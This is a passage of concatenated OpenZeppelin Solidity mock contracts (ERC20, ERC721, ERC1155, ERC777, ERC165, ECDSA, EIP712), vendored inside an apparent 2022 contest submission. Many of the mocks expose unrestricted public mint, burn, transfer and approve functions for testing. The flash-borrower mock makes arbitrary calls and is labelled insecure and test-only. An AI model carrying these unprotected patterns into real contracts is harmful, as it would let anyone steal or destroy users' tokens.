function computeAddressWithDeployer(
bytes32 salt,
bytes32 codeHash,
address deployer
) public pure returns (address) {
return Create2.computeAddress(salt, codeHash, deployer);
}
receive() external payable {}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/DummyImplementation.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Impl {
function version() public pure virtual returns (string memory);
}
contract DummyImplementation {
uint256 public value;
string public text;
uint256[] public values;
function initializeNonPayable() public {
value = 10;
}
function initializePayable() public payable {
value = 100;
}
function initializeNonPayableWithValue(uint256 _value) public {
value = _value;
}
function initializePayableWithValue(uint256 _value) public payable {
value = _value;
}
function initialize(
uint256 _value,
string memory _text,
uint256[] memory _values
) public {
value = _value;
text = _text;
values = _values;
}
function get() public pure returns (bool) {
return true;
}
function version() public pure virtual returns (string memory) {
return "V1";
}
function reverts() public pure {
require(false, "DummyImplementation reverted");
}
}
contract DummyImplementationV2 is DummyImplementation {
function migrate(uint256 newVal) public payable {
value = newVal;
}
function version() public pure override returns (string memory) {
return "V2";
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ECDSAMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/cryptography/ECDSA.sol";
contract ECDSAMock {
using ECDSA for bytes32;
using ECDSA for bytes;
function recover(bytes32 hash, bytes memory signature) public pure returns (address) {
return hash.recover(signature);
}
// solhint-disable-next-line func-name-mixedcase
function recover_v_r_s(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) public pure returns (address) {
return hash.recover(v, r, s);
}
// solhint-disable-next-line func-name-mixedcase
function recover_r_vs(
bytes32 hash,
bytes32 r,
bytes32 vs
) public pure returns (address) {
return hash.recover(r, vs);
}
function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {
return hash.toEthSignedMessageHash();
}
function toEthSignedMessageHash(bytes memory s) public pure returns (bytes32) {
return s.toEthSignedMessageHash();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/EIP712External.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/cryptography/draft-EIP712.sol";
import "../utils/cryptography/ECDSA.sol";
contract EIP712External is EIP712 {
constructor(string memory name, string memory version) EIP712(name, version) {}
function domainSeparator() external view returns (bytes32) {
return _domainSeparatorV4();
}
function verify(
bytes memory signature,
address signer,
address mailTo,
string memory mailContents
) external view {
bytes32 digest = _hashTypedDataV4(
keccak256(abi.encode(keccak256("Mail(address to,string contents)"), mailTo, keccak256(bytes(mailContents))))
);
address recoveredSigner = ECDSA.recover(digest, signature);
require(recoveredSigner == signer);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155BurnableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC1155/extensions/ERC1155Burnable.sol";
contract ERC1155BurnableMock is ERC1155Burnable {
constructor(string memory uri) ERC1155(uri) {}
function mint(
address to,
uint256 id,
uint256 value,
bytes memory data
) public {
_mint(to, id, value, data);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155Mock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC1155/ERC1155.sol";
/**
* @title ERC1155Mock
* This mock just publicizes internal functions for testing purposes
*/
contract ERC1155Mock is ERC1155 {
constructor(string memory uri) ERC1155(uri) {}
function setURI(string memory newuri) public {
_setURI(newuri);
}
function mint(
address to,
uint256 id,
uint256 value,
bytes memory data
) public {
_mint(to, id, value, data);
}
function mintBatch(
address to,
uint256[] memory ids,
uint256[] memory values,
bytes memory data
) public {
_mintBatch(to, ids, values, data);
}
function burn(
address owner,
uint256 id,
uint256 value
) public {
_burn(owner, id, value);
}
function burnBatch(
address owner,
uint256[] memory ids,
uint256[] memory values
) public {
_burnBatch(owner, ids, values);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155PausableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC1155Mock.sol";
import "../token/ERC1155/extensions/ERC1155Pausable.sol";
contract ERC1155PausableMock is ERC1155Mock, ERC1155Pausable {
constructor(string memory uri) ERC1155Mock(uri) {}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override(ERC1155, ERC1155Pausable) {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155ReceiverMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC1155/IERC1155Receiver.sol";
import "../utils/introspection/ERC165.sol";
contract ERC1155ReceiverMock is ERC165, IERC1155Receiver {
bytes4 private _recRetval;
bool private _recReverts;
bytes4 private _batRetval;
bool private _batReverts;
event Received(address operator, address from, uint256 id, uint256 value, bytes data, uint256 gas);
event BatchReceived(address operator, address from, uint256[] ids, uint256[] values, bytes data, uint256 gas);
constructor(
bytes4 recRetval,
bool recReverts,
bytes4 batRetval,
bool batReverts
) {
_recRetval = recRetval;
_recReverts = recReverts;
_batRetval = batRetval;
_batReverts = batReverts;
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external override returns (bytes4) {
require(!_recReverts, "ERC1155ReceiverMock: reverting on receive");
emit Received(operator, from, id, value, data, gasleft());
return _recRetval;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external override returns (bytes4) {
require(!_batReverts, "ERC1155ReceiverMock: reverting on batch receive");
emit BatchReceived(operator, from, ids, values, data, gasleft());
return _batRetval;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155SupplyMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC1155Mock.sol";
import "../token/ERC1155/extensions/ERC1155Supply.sol";
contract ERC1155SupplyMock is ERC1155Mock, ERC1155Supply {
constructor(string memory uri) ERC1155Mock(uri) {}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override(ERC1155, ERC1155Supply) {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1271WalletMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../access/Ownable.sol";
import "../interfaces/IERC1271.sol";
import "../utils/cryptography/ECDSA.sol";
contract ERC1271WalletMock is Ownable, IERC1271 {
constructor(address originalOwner) {
transferOwnership(originalOwner);
}
function isValidSignature(bytes32 hash, bytes memory signature) public view override returns (bytes4 magicValue) {
return ECDSA.recover(hash, signature) == owner() ? this.isValidSignature.selector : bytes4(0);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165InterfacesSupported.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* https://eips.ethereum.org/EIPS/eip-214#specification
* From the specification:
* > Any attempts to make state-changing operations inside an execution instance with STATIC set to true will instead
* throw an exception.
* > These operations include [...], LOG0, LOG1, LOG2, [...]
*
* therefore, because this contract is staticcall'd we need to not emit events (which is how solidity-coverage works)
* solidity-coverage ignores the /mocks folder, so we duplicate its implementation here to avoid instrumenting it
*/
contract SupportsInterfaceWithLookupMock is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 public constant INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev A mapping of interface id to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself.
*/
constructor() {
_registerInterface(INTERFACE_ID_ERC165);
}
/**
* @dev Implement supportsInterface(bytes4) using a lookup table.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Private method for registering an interface.
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165InterfacesSupported: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC165InterfacesSupported is SupportsInterfaceWithLookupMock {
constructor(bytes4[] memory interfaceIds) {
for (uint256 i = 0; i < interfaceIds.length; i++) {
_registerInterface(interfaceIds[i]);
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165MissingData.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ERC165MissingData {
function supportsInterface(bytes4 interfaceId) public view {} // missing return
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165NotSupported.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ERC165NotSupported {}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165CheckerMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165Checker.sol";
contract ERC165CheckerMock {
using ERC165Checker for address;
function supportsERC165(address account) public view returns (bool) {
return account.supportsERC165();
}
function supportsInterface(address account, bytes4 interfaceId) public view returns (bool) {
return account.supportsInterface(interfaceId);
}
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool) {
return account.supportsAllInterfaces(interfaceIds);
}
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool[] memory) {
return account.getSupportedInterfaces(interfaceIds);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165Mock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165.sol";
contract ERC165Mock is ERC165 {}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165StorageMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165Storage.sol";
contract ERC165StorageMock is ERC165Storage {
function registerInterface(bytes4 interfaceId) public {
_registerInterface(interfaceId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1820ImplementerMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/introspection/ERC1820Implementer.sol";
contract ERC1820ImplementerMock is ERC1820Implementer {
function registerInterfaceForAddress(bytes32 interfaceHash, address account) public {
_registerInterfaceForAddress(interfaceHash, account);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20BurnableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20Burnable.sol";
contract ERC20BurnableMock is ERC20Burnable {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) ERC20(name, symbol) {
_mint(initialAccount, initialBalance);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20CappedMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20Capped.sol";
contract ERC20CappedMock is ERC20Capped {
constructor(
string memory name,
string memory symbol,
uint256 cap
) ERC20(name, symbol) ERC20Capped(cap) {}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20DecimalsMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/ERC20.sol";
contract ERC20DecimalsMock is ERC20 {
uint8 private immutable _decimals;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) ERC20(name_, symbol_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20FlashMintMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20FlashMint.sol";
contract ERC20FlashMintMock is ERC20FlashMint {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) ERC20(name, symbol) {
_mint(initialAccount, initialBalance);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/ERC20.sol";
// mock class using ERC20
contract ERC20Mock is ERC20 {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) payable ERC20(name, symbol) {
_mint(initialAccount, initialBalance);
}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
function transferInternal(
address from,
address to,
uint256 value
) public {
_transfer(from, to, value);
}
function approveInternal(
address owner,
address spender,
uint256 value
) public {
_approve(owner, spender, value);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20PausableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20Pausable.sol";
// mock class using ERC20Pausable
contract ERC20PausableMock is ERC20Pausable {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) ERC20(name, symbol) {
_mint(initialAccount, initialBalance);
}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
function burn(address from, uint256 amount) public {
_burn(from, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20PermitMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/draft-ERC20Permit.sol";
contract ERC20PermitMock is ERC20Permit {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) payable ERC20(name, symbol) ERC20Permit(name) {
_mint(initialAccount, initialBalance);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20SnapshotMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20Snapshot.sol";
contract ERC20SnapshotMock is ERC20Snapshot {
constructor(
string memory name,
string memory symbol,
address initialAccount,
uint256 initialBalance
) ERC20(name, symbol) {
_mint(initialAccount, initialBalance);
}
function snapshot() public {
_snapshot();
}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20VotesCompMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20VotesComp.sol";
contract ERC20VotesCompMock is ERC20VotesComp {
constructor(string memory name, string memory symbol) ERC20(name, symbol) ERC20Permit(name) {}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20VotesMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20Votes.sol";
contract ERC20VotesMock is ERC20Votes {
constructor(string memory name, string memory symbol) ERC20(name, symbol) ERC20Permit(name) {}
function mint(address account, uint256 amount) public {
_mint(account, amount);
}
function burn(address account, uint256 amount) public {
_burn(account, amount);
}
function getChainId() external view returns (uint256) {
return block.chainid;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20WrapperMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/extensions/ERC20Wrapper.sol";
contract ERC20WrapperMock is ERC20Wrapper {
constructor(
IERC20 _underlyingToken,
string memory name,
string memory symbol
) ERC20(name, symbol) ERC20Wrapper(_underlyingToken) {}
function recover(address account) public returns (uint256) {
return _recover(account);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC2771ContextMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ContextMock.sol";
import "../metatx/ERC2771Context.sol";
// By inheriting from ERC2771Context, Context's internal functions are overridden automatically
contract ERC2771ContextMock is ContextMock, ERC2771Context {
constructor(address trustedForwarder) ERC2771Context(trustedForwarder) {}
function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {
return ERC2771Context._msgSender();
}
function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {
return ERC2771Context._msgData();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC3156FlashBorrowerMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC20/IERC20.sol";
import "../interfaces/IERC3156.sol";
import "../utils/Address.sol";
/**
* @dev WARNING: this IERC3156FlashBorrower mock implementation is for testing purposes ONLY.
* Writing a secure flash lock borrower is not an easy task, and should be done with the utmost care.
* This is not an example of how it should be done, and no pattern present in this mock should be considered secure.
* Following best practices, always have your contract properly audited before using them to manipulate important funds on
* live networks.
*/
contract ERC3156FlashBorrowerMock is IERC3156FlashBorrower {
bytes32 internal constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
bool immutable _enableApprove;
bool immutable _enableReturn;
event BalanceOf(address token, address account, uint256 value);
event TotalSupply(address token, uint256 value);
constructor(bool enableReturn, bool enableApprove) {
_enableApprove = enableApprove;
_enableReturn = enableReturn;
}
function onFlashLoan(
address, /*initiator*/
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) public override returns (bytes32) {
require(msg.sender == token);
emit BalanceOf(token, address(this), IERC20(token).balanceOf(address(this)));
emit TotalSupply(token, IERC20(token).totalSupply());
if (data.length > 0) {
// WARNING: This code is for testing purposes only! Do not use.
Address.functionCall(token, data);
}
if (_enableApprove) {
IERC20(token).approve(token, amount + fee);
}
return _enableReturn ? _RETURN_VALUE : bytes32(0);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721BurnableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/ERC721Burnable.sol";
contract ERC721BurnableMock is ERC721Burnable {
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721EnumerableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/ERC721Enumerable.sol";
/**
* @title ERC721Mock
* This mock just provides a public safeMint, mint, and burn functions for testing purposes
*/
contract ERC721EnumerableMock is ERC721Enumerable {
string private _baseTokenURI;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata newBaseTokenURI) public {
_baseTokenURI = newBaseTokenURI;
}
function baseURI() public view returns (string memory) {
return _baseURI();
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721Mock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/ERC721.sol";
/**
* @title ERC721Mock
* This mock just provides a public safeMint, mint, and burn functions for testing purposes
*/
contract ERC721Mock is ERC721 {
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function baseURI() public view returns (string memory) {
return _baseURI();
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721PausableMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/ERC721Pausable.sol";
/**
* @title ERC721PausableMock
* This mock just provides a public mint, burn and exists functions for testing purposes
*/
contract ERC721PausableMock is ERC721Pausable {
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function pause() external {
_pause();
}
function unpause() external {
_unpause();
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721ReceiverMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/IERC721Receiver.sol";
contract ERC721ReceiverMock is IERC721Receiver {
enum Error {
None,
RevertWithMessage,
RevertWithoutMessage,
Panic
}
bytes4 private immutable _retval;
Error private immutable _error;
event Received(address operator, address from, uint256 tokenId, bytes data, uint256 gas);
constructor(bytes4 retval, Error error) {
_retval = retval;
_error = error;
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes memory data
) public override returns (bytes4) {
if (_error == Error.RevertWithMessage) {
revert("ERC721ReceiverMock: reverting");
} else if (_error == Error.RevertWithoutMessage) {
revert();
} else if (_error == Error.Panic) {
uint256 a = uint256(0) / uint256(0);
a;
}
emit Received(operator, from, tokenId, data, gasleft());
return _retval;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721URIStorageMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC721/extensions/ERC721URIStorage.sol";
/**
* @title ERC721Mock
* This mock just provides a public safeMint, mint, and burn functions for testing purposes
*/
contract ERC721URIStorageMock is ERC721URIStorage {
string private _baseTokenURI;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata newBaseTokenURI) public {
_baseTokenURI = newBaseTokenURI;
}
function baseURI() public view returns (string memory) {
return _baseURI();
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) public {
_setTokenURI(tokenId, _tokenURI);
}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory _data
) public {
_safeMint(to, tokenId, _data);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC777Mock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
import "../token/ERC777/ERC777.sol";
contract ERC777Mock is Context, ERC777 {
event BeforeTokenTransfer();
constructor(
address initialHolder,
uint256 initialBalance,
string memory name,
string memory symbol,
address[] memory defaultOperators
) ERC777(name, symbol, defaultOperators) {
_mint(initialHolder, initialBalance, "", "");
}
function mintInternal(
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) public {
_mint(to, amount, userData, operatorData);
}
function mintInternalExtended(
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) public {
_mint(to, amount, userData, operatorData, requireReceptionAck);
}
function approveInternal(
address holder,
address spender,
uint256 value
) public {
_approve(holder, spender, value);
}
function _beforeTokenTransfer(
address,
address,
address,
uint256
) internal override {
emit BeforeTokenTransfer();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC777SenderRecipientMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../token/ERC777/IERC777.sol";
import "../token/ERC777/IERC777Sender.sol";
import "../token/ERC777/IERC777Recipient.sol";
import "../utils/Context.sol";
import "../utils/introspection/IERC1820Registry.sol";
import "../utils/introspection/ERC1820Implementer.sol";
contract ERC777SenderRecipientMock is Context, IERC777Sender, IERC777Recipient, ERC1820Implementer {
event TokensToSendCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
event TokensReceivedCalled(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData,
address token,
uint256 fromBalance,
uint256 toBalance
);
// Emitted in ERC777Mock. Here for easier decoding
event BeforeTokenTransfer();
bool private _shouldRevertSend;
bool private _shouldRevertReceive;
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
if (_shouldRevertSend) {
revert();
}
IERC777 token = IERC777(_msgSender());
uint256 fromBalance = token.balanceOf(from);
// when called due to burn, to will be the zero address, which will have a balance of 0
uint256 toBalance = token.balanceOf(to);
emit TokensToSendCalled(
operator,
from,
to,
amount,
userData,
operatorData,
address(token),
fromBalance,
toBalance
);
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
if (_shouldRevertReceive) {
revert();
}
IERC777 token = IERC777(_msgSender());
uint256 fromBalance = token.balanceOf(from);
// when called due to burn, to will be the zero address, which will have a balance of 0
uint256 toBalance = token.balanceOf(to);
emit TokensReceivedCalled(
operator,
from,
to,
amount,
userData,
operatorData,
address(token),
fromBalance,
toBalance
);
}
function senderFor(address account) public {
_registerInterfaceForAddress(_TOKENS_SENDER_INTERFACE_HASH, account);
address self = address(this);
if (account == self) {
registerSender(self);
}
}
function registerSender(address sender) public {
_erc1820.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, sender);
}
function recipientFor(address account) public {
_registerInterfaceForAddress(_TOKENS_RECIPIENT_INTERFACE_HASH, account);
address self = address(this);
if (account == self) {
registerRecipient(self);
}
}
function registerRecipient(address recipient) public {
_erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, recipient);
}
function setShouldRevertSend(bool shouldRevert) public {
_shouldRevertSend = shouldRevert;
}
function setShouldRevertReceive(bool shouldRevert) public {
_shouldRevertReceive = shouldRevert;
}
function send(
IERC777 token,
address to,
uint256 amount,
bytes memory data
) public {
// This is 777's send function, not the Solidity send function
token.send(to, amount, data); // solhint-disable-line check-send-result
}
function burn(
IERC777 token,
uint256 amount,
bytes memory data
) public {
token.burn(amount, data);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/EnumerableMapMock.sol
================================================
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/structs/EnumerableMap.sol";
contract EnumerableMapMock {
using EnumerableMap for EnumerableMap.UintToAddressMap;
event OperationResult(bool result);
EnumerableMap.UintToAddressMap private _map;
function contains(uint256 key) public view returns (bool) {
return _map.contains(key);
}
